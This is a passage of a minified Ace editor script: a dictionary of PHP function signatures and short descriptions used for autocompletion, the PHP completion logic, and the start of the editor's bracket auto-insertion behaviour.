server message is raised.     If error_func is NULL the handler will be deleted\"],sybase_unbuffered_query:[\"int sybase_unbuffered_query(string query [, resource link_id])\",\"Send Sybase query\"],symlink:[\"int symlink(string target, string link)\",\"Create a symbolic link\"],sys_get_temp_dir:[\"string sys_get_temp_dir()\",\"Returns directory path used for temporary files\"],sys_getloadavg:[\"array sys_getloadavg()\",\"\"],syslog:[\"bool syslog(int priority, string message)\",\"Generate a system log message\"],system:[\"int system(string command [, int &return_value])\",\"Execute an external program and display output\"],tan:[\"float tan(float number)\",\"Returns the tangent of the number in radians\"],tanh:[\"float tanh(float number)\",\"Returns the hyperbolic tangent of the number, defined as sinh(number)/cosh(number)\"],tempnam:[\"string tempnam(string dir, string prefix)\",\"Create a unique filename in a directory\"],textdomain:[\"string textdomain(string domain)\",'Set the textdomain to \"domain\". Returns the current domain'],tidy_access_count:[\"int tidy_access_count()\",\"Returns the Number of Tidy accessibility warnings encountered for specified document.\"],tidy_clean_repair:[\"boolean tidy_clean_repair()\",\"Execute configured cleanup and repair operations on parsed markup\"],tidy_config_count:[\"int tidy_config_count()\",\"Returns the Number of Tidy configuration errors encountered for specified document.\"],tidy_diagnose:[\"boolean tidy_diagnose()\",\"Run configured diagnostics on parsed and repaired markup.\"],tidy_error_count:[\"int tidy_error_count()\",\"Returns the Number of Tidy errors encountered for specified document.\"],tidy_get_body:[\"TidyNode tidy_get_body(resource tidy)\",\"Returns a TidyNode Object starting from the <BODY> tag of the tidy parse tree\"],tidy_get_config:[\"array tidy_get_config()\",\"Get current Tidy configuarion\"],tidy_get_error_buffer:[\"string tidy_get_error_buffer([boolean detailed])\",\"Return warnings and errors which occured parsing the specified document\"],tidy_get_head:[\"TidyNode tidy_get_head()\",\"Returns a TidyNode Object starting from the <HEAD> tag of the tidy parse tree\"],tidy_get_html:[\"TidyNode tidy_get_html()\",\"Returns a TidyNode Object starting from the <HTML> tag of the tidy parse tree\"],tidy_get_html_ver:[\"int tidy_get_html_ver()\",\"Get the Detected HTML version for the specified document.\"],tidy_get_opt_doc:[\"string tidy_get_opt_doc(tidy resource, string optname)\",\"Returns the documentation for the given option name\"],tidy_get_output:[\"string tidy_get_output()\",\"Return a string representing the parsed tidy markup\"],tidy_get_release:[\"string tidy_get_release()\",\"Get release date (version) for Tidy library\"],tidy_get_root:[\"TidyNode tidy_get_root()\",\"Returns a TidyNode Object representing the root of the tidy parse tree\"],tidy_get_status:[\"int tidy_get_status()\",\"Get status of specfied document.\"],tidy_getopt:[\"mixed tidy_getopt(string option)\",\"Returns the value of the specified configuration option for the tidy document.\"],tidy_is_xhtml:[\"boolean tidy_is_xhtml()\",\"Indicates if the document is a XHTML document.\"],tidy_is_xml:[\"boolean tidy_is_xml()\",\"Indicates if the document is a generic (non HTML/XHTML) XML document.\"],tidy_parse_file:[\"boolean tidy_parse_file(string file [, mixed config_options [, string encoding [, bool use_include_path]]])\",\"Parse markup in file or URI\"],tidy_parse_string:[\"bool tidy_parse_string(string input [, mixed config_options [, string encoding]])\",\"Parse a document stored in a string\"],tidy_repair_file:[\"boolean tidy_repair_file(string filename [, mixed config_file [, string encoding [, bool use_include_path]]])\",\"Repair a file using an optionally provided configuration file\"],tidy_repair_string:[\"boolean tidy_repair_string(string data [, mixed config_file [, string encoding]])\",\"Repair a string using an optionally provided configuration file\"],tidy_warning_count:[\"int tidy_warning_count()\",\"Returns the Number of Tidy warnings encountered for specified document.\"],time:[\"int time(void)\",\"Return current UNIX timestamp\"],time_nanosleep:[\"mixed time_nanosleep(long seconds, long nanoseconds)\",\"Delay for a number of seconds and nano seconds\"],time_sleep_until:[\"mixed time_sleep_until(float timestamp)\",\"Make the script sleep until the specified time\"],timezone_abbreviations_list:[\"array timezone_abbreviations_list()\",\"Returns associative array containing dst, offset and the timezone name\"],timezone_identifiers_list:[\"array timezone_identifiers_list([long what[, string country]])\",\"Returns numerically index array with all timezone identifiers.\"],timezone_location_get:[\"array timezone_location_get()\",\"Returns location information for a timezone, including country code, latitude/longitude and comments\"],timezone_name_from_abbr:[\"string timezone_name_from_abbr(string abbr[, long gmtOffset[, long isdst]])\",\"Returns the timezone name from abbrevation\"],timezone_name_get:[\"string timezone_name_get(DateTimeZone object)\",\"Returns the name of the timezone.\"],timezone_offset_get:[\"long timezone_offset_get(DateTimeZone object, DateTime object)\",\"Returns the timezone offset.\"],timezone_open:[\"DateTimeZone timezone_open(string timezone)\",\"Returns new DateTimeZone object\"],timezone_transitions_get:[\"array timezone_transitions_get(DateTimeZone object [, long timestamp_begin [, long timestamp_end ]])\",\"Returns numerically indexed array containing associative array for all transitions in the specified range for the timezone.\"],timezone_version_get:[\"array timezone_version_get()\",\"Returns the Olson database version number.\"],tmpfile:[\"resource tmpfile(void)\",\"Create a temporary file that will be deleted automatically after use\"],token_get_all:[\"array token_get_all(string source)\",\"\"],token_name:[\"string token_name(int type)\",\"\"],touch:[\"bool touch(string filename [, int time [, int atime]])\",\"Set modification time of file\"],trigger_error:[\"void trigger_error(string messsage [, int error_type])\",\"Generates a user-level error/warning/notice message\"],trim:[\"string trim(string str [, string character_mask])\",\"Strips whitespace from the beginning and end of a string\"],uasort:[\"bool uasort(array array_arg, string cmp_function)\",\"Sort an array with a user-defined comparison function and maintain index association\"],ucfirst:[\"string ucfirst(string str)\",\"Make a string's first character lowercase\"],ucwords:[\"string ucwords(string str)\",\"Uppercase the first character of every word in a string\"],uksort:[\"bool uksort(array array_arg, string cmp_function)\",\"Sort an array by keys using a user-defined comparison function\"],umask:[\"int umask([int mask])\",\"Return or change the umask\"],uniqid:[\"string uniqid([string prefix [, bool more_entropy]])\",\"Generates a unique ID\"],unixtojd:[\"int unixtojd([int timestamp])\",\"Convert UNIX timestamp to Julian Day\"],unlink:[\"bool unlink(string filename[, context context])\",\"Delete a file\"],unpack:[\"array unpack(string format, string input)\",\"Unpack binary string into named array elements according to format argument\"],unregister_tick_function:[\"void unregister_tick_function(string function_name)\",\"Unregisters a tick callback function\"],unserialize:[\"mixed unserialize(string variable_representation)\",\"Takes a string representation of variable and recreates it\"],unset:[\"void unset (mixed var [, mixed var])\",\"Unset a given variable\"],urldecode:[\"string urldecode(string str)\",\"Decodes URL-encoded string\"],urlencode:[\"string urlencode(string str)\",\"URL-encodes string\"],usleep:[\"void usleep(int micro_seconds)\",\"Delay for a given number of micro seconds\"],usort:[\"bool usort(array array_arg, string cmp_function)\",\"Sort an array by values using a user-defined comparison function\"],utf8_decode:[\"string utf8_decode(string data)\",\"Converts a UTF-8 encoded string to ISO-8859-1\"],utf8_encode:[\"string utf8_encode(string data)\",\"Encodes an ISO-8859-1 string to UTF-8\"],var_dump:[\"void var_dump(mixed var)\",\"Dumps a string representation of variable to output\"],var_export:[\"mixed var_export(mixed var [, bool return])\",\"Outputs or returns a string representation of a variable\"],variant_abs:[\"mixed variant_abs(mixed left)\",\"Returns the absolute value of a variant\"],variant_add:[\"mixed variant_add(mixed left, mixed right)\",'\"Adds\" two variant values together and returns the result'],variant_and:[\"mixed variant_and(mixed left, mixed right)\",\"performs a bitwise AND operation between two variants and returns the result\"],variant_cast:[\"object variant_cast(object variant, int type)\",\"Convert a variant into a new variant object of another type\"],variant_cat:[\"mixed variant_cat(mixed left, mixed right)\",\"concatenates two variant values together and returns the result\"],variant_cmp:[\"int variant_cmp(mixed left, mixed right [, int lcid [, int flags]])\",\"Compares two variants\"],variant_date_from_timestamp:[\"object variant_date_from_timestamp(int timestamp)\",\"Returns a variant date representation of a unix timestamp\"],variant_date_to_timestamp:[\"int variant_date_to_timestamp(object variant)\",\"Converts a variant date/time value to unix timestamp\"],variant_div:[\"mixed variant_div(mixed left, mixed right)\",\"Returns the result from dividing two variants\"],variant_eqv:[\"mixed variant_eqv(mixed left, mixed right)\",\"Performs a bitwise equivalence on two variants\"],variant_fix:[\"mixed variant_fix(mixed left)\",\"Returns the integer part ? of a variant\"],variant_get_type:[\"int variant_get_type(object variant)\",\"Returns the VT_XXX type code for a variant\"],variant_idiv:[\"mixed variant_idiv(mixed left, mixed right)\",\"Converts variants to integers and then returns the result from dividing them\"],variant_imp:[\"mixed variant_imp(mixed left, mixed right)\",\"Performs a bitwise implication on two variants\"],variant_int:[\"mixed variant_int(mixed left)\",\"Returns the integer portion of a variant\"],variant_mod:[\"mixed variant_mod(mixed left, mixed right)\",\"Divides two variants and returns only the remainder\"],variant_mul:[\"mixed variant_mul(mixed left, mixed right)\",\"multiplies the values of the two variants and returns the result\"],variant_neg:[\"mixed variant_neg(mixed left)\",\"Performs logical negation on a variant\"],variant_not:[\"mixed variant_not(mixed left)\",\"Performs bitwise not negation on a variant\"],variant_or:[\"mixed variant_or(mixed left, mixed right)\",\"Performs a logical disjunction on two variants\"],variant_pow:[\"mixed variant_pow(mixed left, mixed right)\",\"Returns the result of performing the power function with two variants\"],variant_round:[\"mixed variant_round(mixed left, int decimals)\",\"Rounds a variant to the specified number of decimal places\"],variant_set:[\"void variant_set(object variant, mixed value)\",\"Assigns a new value for a variant object\"],variant_set_type:[\"void variant_set_type(object variant, int type)\",'Convert a variant into another type.  Variant is modified \"in-place\"'],variant_sub:[\"mixed variant_sub(mixed left, mixed right)\",\"subtracts the value of the right variant from the left variant value and returns the result\"],variant_xor:[\"mixed variant_xor(mixed left, mixed right)\",\"Performs a logical exclusion on two variants\"],version_compare:[\"int version_compare(string ver1, string ver2 [, string oper])\",'Compares two \"PHP-standardized\" version number strings'],vfprintf:[\"int vfprintf(resource stream, string format, array args)\",\"Output a formatted string into a stream\"],virtual:[\"bool virtual(string filename)\",\"Perform an Apache sub-request\"],vprintf:[\"int vprintf(string format, array args)\",\"Output a formatted string\"],vsprintf:[\"string vsprintf(string format, array args)\",\"Return a formatted string\"],wddx_add_vars:[\"int wddx_add_vars(resource packet_id,  mixed var_names [, mixed ...])\",\"Serializes given variables and adds them to packet given by packet_id\"],wddx_deserialize:[\"mixed wddx_deserialize(mixed packet)\",\"Deserializes given packet and returns a PHP value\"],wddx_packet_end:[\"string wddx_packet_end(resource packet_id)\",\"Ends specified WDDX packet and returns the string containing the packet\"],wddx_packet_start:[\"resource wddx_packet_start([string comment])\",\"Starts a WDDX packet with optional comment and returns the packet id\"],wddx_serialize_value:[\"string wddx_serialize_value(mixed var [, string comment])\",\"Creates a new packet and serializes the given value\"],wddx_serialize_vars:[\"string wddx_serialize_vars(mixed var_name [, mixed ...])\",\"Creates a new packet and serializes given variables into a struct\"],wordwrap:[\"string wordwrap(string str [, int width [, string break [, boolean cut]]])\",\"Wraps buffer to selected number of characters using string break char\"],xml_error_string:[\"string xml_error_string(int code)\",\"Get XML parser error string\"],xml_get_current_byte_index:[\"int xml_get_current_byte_index(resource parser)\",\"Get current byte index for an XML parser\"],xml_get_current_column_number:[\"int xml_get_current_column_number(resource parser)\",\"Get current column number for an XML parser\"],xml_get_current_line_number:[\"int xml_get_current_line_number(resource parser)\",\"Get current line number for an XML parser\"],xml_get_error_code:[\"int xml_get_error_code(resource parser)\",\"Get XML parser error code\"],xml_parse:[\"int xml_parse(resource parser, string data [, int isFinal])\",\"Start parsing an XML document\"],xml_parse_into_struct:[\"int xml_parse_into_struct(resource parser, string data, array &values [, array &index ])\",\"Parsing a XML document\"],xml_parser_create:[\"resource xml_parser_create([string encoding])\",\"Create an XML parser\"],xml_parser_create_ns:[\"resource xml_parser_create_ns([string encoding [, string sep]])\",\"Create an XML parser\"],xml_parser_free:[\"int xml_parser_free(resource parser)\",\"Free an XML parser\"],xml_parser_get_option:[\"int xml_parser_get_option(resource parser, int option)\",\"Get options from an XML parser\"],xml_parser_set_option:[\"int xml_parser_set_option(resource parser, int option, mixed value)\",\"Set options in an XML parser\"],xml_set_character_data_handler:[\"int xml_set_character_data_handler(resource parser, string hdl)\",\"Set up character data handler\"],xml_set_default_handler:[\"int xml_set_default_handler(resource parser, string hdl)\",\"Set up default handler\"],xml_set_element_handler:[\"int xml_set_element_handler(resource parser, string shdl, string ehdl)\",\"Set up start and end element handlers\"],xml_set_end_namespace_decl_handler:[\"int xml_set_end_namespace_decl_handler(resource parser, string hdl)\",\"Set up character data handler\"],xml_set_external_entity_ref_handler:[\"int xml_set_external_entity_ref_handler(resource parser, string hdl)\",\"Set up external entity reference handler\"],xml_set_notation_decl_handler:[\"int xml_set_notation_decl_handler(resource parser, string hdl)\",\"Set up notation declaration handler\"],xml_set_object:[\"int xml_set_object(resource parser, object &obj)\",\"Set up object which should be used for callbacks\"],xml_set_processing_instruction_handler:[\"int xml_set_processing_instruction_handler(resource parser, string hdl)\",\"Set up processing instruction (PI) handler\"],xml_set_start_namespace_decl_handler:[\"int xml_set_start_namespace_decl_handler(resource parser, string hdl)\",\"Set up character data handler\"],xml_set_unparsed_entity_decl_handler:[\"int xml_set_unparsed_entity_decl_handler(resource parser, string hdl)\",\"Set up unparsed entity declaration handler\"],xmlrpc_decode:[\"array xmlrpc_decode(string xml [, string encoding])\",\"Decodes XML into native PHP types\"],xmlrpc_decode_request:[\"array xmlrpc_decode_request(string xml, string& method [, string encoding])\",\"Decodes XML into native PHP types\"],xmlrpc_encode:[\"string xmlrpc_encode(mixed value)\",\"Generates XML for a PHP value\"],xmlrpc_encode_request:[\"string xmlrpc_encode_request(string method, mixed params [, array output_options])\",\"Generates XML for a method request\"],xmlrpc_get_type:[\"string xmlrpc_get_type(mixed value)\",\"Gets xmlrpc type for a PHP value. Especially useful for base64 and datetime strings\"],xmlrpc_is_fault:[\"bool xmlrpc_is_fault(array)\",\"Determines if an array value represents an XMLRPC fault.\"],xmlrpc_parse_method_descriptions:[\"array xmlrpc_parse_method_descriptions(string xml)\",\"Decodes XML into a list of method descriptions\"],xmlrpc_server_add_introspection_data:[\"int xmlrpc_server_add_introspection_data(resource server, array desc)\",\"Adds introspection documentation\"],xmlrpc_server_call_method:[\"mixed xmlrpc_server_call_method(resource server, string xml, mixed user_data [, array output_options])\",\"Parses XML requests and call methods\"],xmlrpc_server_create:[\"resource xmlrpc_server_create(void)\",\"Creates an xmlrpc server\"],xmlrpc_server_destroy:[\"int xmlrpc_server_destroy(resource server)\",\"Destroys server resources\"],xmlrpc_server_register_introspection_callback:[\"bool xmlrpc_server_register_introspection_callback(resource server, string function)\",\"Register a PHP function to generate documentation\"],xmlrpc_server_register_method:[\"bool xmlrpc_server_register_method(resource server, string method_name, string function)\",\"Register a PHP function to handle method matching method_name\"],xmlrpc_set_type:[\"bool xmlrpc_set_type(string value, string type)\",\"Sets xmlrpc type, base64 or datetime, for a PHP string value\"],xmlwriter_end_attribute:[\"bool xmlwriter_end_attribute(resource xmlwriter)\",\"End attribute - returns FALSE on error\"],xmlwriter_end_cdata:[\"bool xmlwriter_end_cdata(resource xmlwriter)\",\"End current CDATA - returns FALSE on error\"],xmlwriter_end_comment:[\"bool xmlwriter_end_comment(resource xmlwriter)\",\"Create end comment - returns FALSE on error\"],xmlwriter_end_document:[\"bool xmlwriter_end_document(resource xmlwriter)\",\"End current document - returns FALSE on error\"],xmlwriter_end_dtd:[\"bool xmlwriter_end_dtd(resource xmlwriter)\",\"End current DTD - returns FALSE on error\"],xmlwriter_end_dtd_attlist:[\"bool xmlwriter_end_dtd_attlist(resource xmlwriter)\",\"End current DTD AttList - returns FALSE on error\"],xmlwriter_end_dtd_element:[\"bool xmlwriter_end_dtd_element(resource xmlwriter)\",\"End current DTD element - returns FALSE on error\"],xmlwriter_end_dtd_entity:[\"bool xmlwriter_end_dtd_entity(resource xmlwriter)\",\"End current DTD Entity - returns FALSE on error\"],xmlwriter_end_element:[\"bool xmlwriter_end_element(resource xmlwriter)\",\"End current element - returns FALSE on error\"],xmlwriter_end_pi:[\"bool xmlwriter_end_pi(resource xmlwriter)\",\"End current PI - returns FALSE on error\"],xmlwriter_flush:[\"mixed xmlwriter_flush(resource xmlwriter [,bool empty])\",\"Output current buffer\"],xmlwriter_full_end_element:[\"bool xmlwriter_full_end_element(resource xmlwriter)\",\"End current element - returns FALSE on error\"],xmlwriter_open_memory:[\"resource xmlwriter_open_memory()\",\"Create new xmlwriter using memory for string output\"],xmlwriter_open_uri:[\"resource xmlwriter_open_uri(resource xmlwriter, string source)\",\"Create new xmlwriter using source uri for output\"],xmlwriter_output_memory:[\"string xmlwriter_output_memory(resource xmlwriter [,bool flush])\",\"Output current buffer as string\"],xmlwriter_set_indent:[\"bool xmlwriter_set_indent(resource xmlwriter, bool indent)\",\"Toggle indentation on/off - returns FALSE on error\"],xmlwriter_set_indent_string:[\"bool xmlwriter_set_indent_string(resource xmlwriter, string indentString)\",\"Set string used for indenting - returns FALSE on error\"],xmlwriter_start_attribute:[\"bool xmlwriter_start_attribute(resource xmlwriter, string name)\",\"Create start attribute - returns FALSE on error\"],xmlwriter_start_attribute_ns:[\"bool xmlwriter_start_attribute_ns(resource xmlwriter, string prefix, string name, string uri)\",\"Create start namespaced attribute - returns FALSE on error\"],xmlwriter_start_cdata:[\"bool xmlwriter_start_cdata(resource xmlwriter)\",\"Create start CDATA tag - returns FALSE on error\"],xmlwriter_start_comment:[\"bool xmlwriter_start_comment(resource xmlwriter)\",\"Create start comment - returns FALSE on error\"],xmlwriter_start_document:[\"bool xmlwriter_start_document(resource xmlwriter, string version, string encoding, string standalone)\",\"Create document tag - returns FALSE on error\"],xmlwriter_start_dtd:[\"bool xmlwriter_start_dtd(resource xmlwriter, string name, string pubid, string sysid)\",\"Create start DTD tag - returns FALSE on error\"],xmlwriter_start_dtd_attlist:[\"bool xmlwriter_start_dtd_attlist(resource xmlwriter, string name)\",\"Create start DTD AttList - returns FALSE on error\"],xmlwriter_start_dtd_element:[\"bool xmlwriter_start_dtd_element(resource xmlwriter, string name)\",\"Create start DTD element - returns FALSE on error\"],xmlwriter_start_dtd_entity:[\"bool xmlwriter_start_dtd_entity(resource xmlwriter, string name, bool isparam)\",\"Create start DTD Entity - returns FALSE on error\"],xmlwriter_start_element:[\"bool xmlwriter_start_element(resource xmlwriter, string name)\",\"Create start element tag - returns FALSE on error\"],xmlwriter_start_element_ns:[\"bool xmlwriter_start_element_ns(resource xmlwriter, string prefix, string name, string uri)\",\"Create start namespaced element tag - returns FALSE on error\"],xmlwriter_start_pi:[\"bool xmlwriter_start_pi(resource xmlwriter, string target)\",\"Create start PI tag - returns FALSE on error\"],xmlwriter_text:[\"bool xmlwriter_text(resource xmlwriter, string content)\",\"Write text - returns FALSE on error\"],xmlwriter_write_attribute:[\"bool xmlwriter_write_attribute(resource xmlwriter, string name, string content)\",\"Write full attribute - returns FALSE on error\"],xmlwriter_write_attribute_ns:[\"bool xmlwriter_write_attribute_ns(resource xmlwriter, string prefix, string name, string uri, string content)\",\"Write full namespaced attribute - returns FALSE on error\"],xmlwriter_write_cdata:[\"bool xmlwriter_write_cdata(resource xmlwriter, string content)\",\"Write full CDATA tag - returns FALSE on error\"],xmlwriter_write_comment:[\"bool xmlwriter_write_comment(resource xmlwriter, string content)\",\"Write full comment tag - returns FALSE on error\"],xmlwriter_write_dtd:[\"bool xmlwriter_write_dtd(resource xmlwriter, string name, string pubid, string sysid, string subset)\",\"Write full DTD tag - returns FALSE on error\"],xmlwriter_write_dtd_attlist:[\"bool xmlwriter_write_dtd_attlist(resource xmlwriter, string name, string content)\",\"Write full DTD AttList tag - returns FALSE on error\"],xmlwriter_write_dtd_element:[\"bool xmlwriter_write_dtd_element(resource xmlwriter, string name, string content)\",\"Write full DTD element tag - returns FALSE on error\"],xmlwriter_write_dtd_entity:[\"bool xmlwriter_write_dtd_entity(resource xmlwriter, string name, string content [, int pe [, string pubid [, string sysid [, string ndataid]]]])\",\"Write full DTD Entity tag - returns FALSE on error\"],xmlwriter_write_element:[\"bool xmlwriter_write_element(resource xmlwriter, string name[, string content])\",\"Write full element tag - returns FALSE on error\"],xmlwriter_write_element_ns:[\"bool xmlwriter_write_element_ns(resource xmlwriter, string prefix, string name, string uri[, string content])\",\"Write full namesapced element tag - returns FALSE on error\"],xmlwriter_write_pi:[\"bool xmlwriter_write_pi(resource xmlwriter, string target, string content)\",\"Write full PI tag - returns FALSE on error\"],xmlwriter_write_raw:[\"bool xmlwriter_write_raw(resource xmlwriter, string content)\",\"Write text - returns FALSE on error\"],xsl_xsltprocessor_get_parameter:[\"string xsl_xsltprocessor_get_parameter(string namespace, string name);\",\"\"],xsl_xsltprocessor_has_exslt_support:[\"bool xsl_xsltprocessor_has_exslt_support();\",\"\"],xsl_xsltprocessor_import_stylesheet:[\"void xsl_xsltprocessor_import_stylesheet(domdocument doc);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html# Since:\"],xsl_xsltprocessor_register_php_functions:[\"void xsl_xsltprocessor_register_php_functions([mixed $restrict]);\",\"\"],xsl_xsltprocessor_remove_parameter:[\"bool xsl_xsltprocessor_remove_parameter(string namespace, string name);\",\"\"],xsl_xsltprocessor_set_parameter:[\"bool xsl_xsltprocessor_set_parameter(string namespace, mixed name [, string value]);\",\"\"],xsl_xsltprocessor_set_profiling:[\"bool xsl_xsltprocessor_set_profiling(string filename) */\",'PHP_FUNCTION(xsl_xsltprocessor_set_profiling) {  zval *id;  xsl_object *intern;  char *filename = NULL;  int filename_len;  DOM_GET_THIS(id);   if (zend_parse_parameters_ex(ZEND_PARSE_PARAMS_QUIET, ZEND_NUM_ARGS() TSRMLS_CC, \"s!\", &filename, &filename_len) == SUCCESS) {   intern = (xsl_object *)zend_object_store_get_object(id TSRMLS_CC);   if (intern->profiling) {    efree(intern->profiling);   }   if (filename != NULL) {    intern->profiling = estrndup(filename,filename_len);   } else {    intern->profiling = NULL;   }   RETURN_TRUE;  } else {   WRONG_PARAM_COUNT;  } } /* }}} end xsl_xsltprocessor_set_profiling'],xsl_xsltprocessor_transform_to_doc:[\"domdocument xsl_xsltprocessor_transform_to_doc(domnode doc);\",\"URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html# Since:\"],xsl_xsltprocessor_transform_to_uri:[\"int xsl_xsltprocessor_transform_to_uri(domdocument doc, string uri);\",\"\"],xsl_xsltprocessor_transform_to_xml:[\"string xsl_xsltprocessor_transform_to_xml(domdocument doc);\",\"\"],zend_logo_guid:[\"string zend_logo_guid(void)\",\"Return the special ID used to request the Zend logo in phpinfo screens\"],zend_version:[\"string zend_version(void)\",\"Get the version of the Zend Engine\"],zip_close:[\"void zip_close(resource zip)\",\"Close a Zip archive\"],zip_entry_close:[\"void zip_entry_close(resource zip_ent)\",\"Close a zip entry\"],zip_entry_compressedsize:[\"int zip_entry_compressedsize(resource zip_entry)\",\"Return the compressed size of a ZZip entry\"],zip_entry_compressionmethod:[\"string zip_entry_compressionmethod(resource zip_entry)\",\"Return a string containing the compression method used on a particular entry\"],zip_entry_filesize:[\"int zip_entry_filesize(resource zip_entry)\",\"Return the actual filesize of a ZZip entry\"],zip_entry_name:[\"string zip_entry_name(resource zip_entry)\",\"Return the name given a ZZip entry\"],zip_entry_open:[\"bool zip_entry_open(resource zip_dp, resource zip_entry [, string mode])\",\"Open a Zip File, pointed by the resource entry\"],zip_entry_read:[\"mixed zip_entry_read(resource zip_entry [, int len])\",\"Read from an open directory entry\"],zip_open:[\"resource zip_open(string filename)\",\"Create new zip using source uri for output\"],zip_read:[\"resource zip_read(resource zip)\",\"Returns the next file in the archive\"],zlib_get_coding_type:[\"string zlib_get_coding_type(void)\",\"Returns the coding type used for output compression\"]},i={$_COOKIE:{type:\"array\"},$_ENV:{type:\"array\"},$_FILES:{type:\"array\"},$_GET:{type:\"array\"},$_POST:{type:\"array\"},$_REQUEST:{type:\"array\"},$_SERVER:{type:\"array\",value:{DOCUMENT_ROOT:1,GATEWAY_INTERFACE:1,HTTP_ACCEPT:1,HTTP_ACCEPT_CHARSET:1,HTTP_ACCEPT_ENCODING:1,HTTP_ACCEPT_LANGUAGE:1,HTTP_CONNECTION:1,HTTP_HOST:1,HTTP_REFERER:1,HTTP_USER_AGENT:1,PATH_TRANSLATED:1,PHP_SELF:1,QUERY_STRING:1,REMOTE_ADDR:1,REMOTE_PORT:1,REQUEST_METHOD:1,REQUEST_URI:1,SCRIPT_FILENAME:1,SCRIPT_NAME:1,SERVER_ADMIN:1,SERVER_NAME:1,SERVER_PORT:1,SERVER_PROTOCOL:1,SERVER_SIGNATURE:1,SERVER_SOFTWARE:1}},$_SESSION:{type:\"array\"},$GLOBALS:{type:\"array\"}},o=function(){};(function(){this.getCompletions=function(e,t,n,r){var i=t.getTokenAt(n.row,n.column);if(!i)return[];if(i.type===\"identifier\")return this.getFunctionCompletions(e,t,n,r);if(s(i,\"variable\"))return this.getVariableCompletions(e,t,n,r);var o=t.getLine(n.row).substr(0,n.column);return i.type===\"string\"&&/(\\$[\\w]*)\\[[\"']([^'\"]*)$/i.test(o)?this.getArrayKeyCompletions(e,t,n,r):[]},this.getFunctionCompletions=function(e,t,n,i){var s=Object.keys(r);return s.map(function(e){return{caption:e,snippet:e+\"($0)\",meta:\"php function\",score:Number.MAX_VALUE,docHTML:r[e][1]}})},this.getVariableCompletions=function(e,t,n,r){var s=Object.keys(i);return s.map(function(e){return{caption:e,value:e,meta:\"php variable\",score:Number.MAX_VALUE}})},this.getArrayKeyCompletions=function(e,t,n,r){var s=t.getLine(n.row).substr(0,n.column);/(\\$[\\w]*)\\[[\"']([^'\"]*)$/i.test(s);var o=RegExp.$1;if(!i[o])return;var u=[];return i[o].type===\"array\"&&i[o].value&&(u=Object.keys(i[o].value)),u.map(function(e){return{caption:e,value:e,meta:\"php array key\",score:Number.MAX_VALUE}})}}).call(o.prototype),t.PhpCompletions=o}),define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var 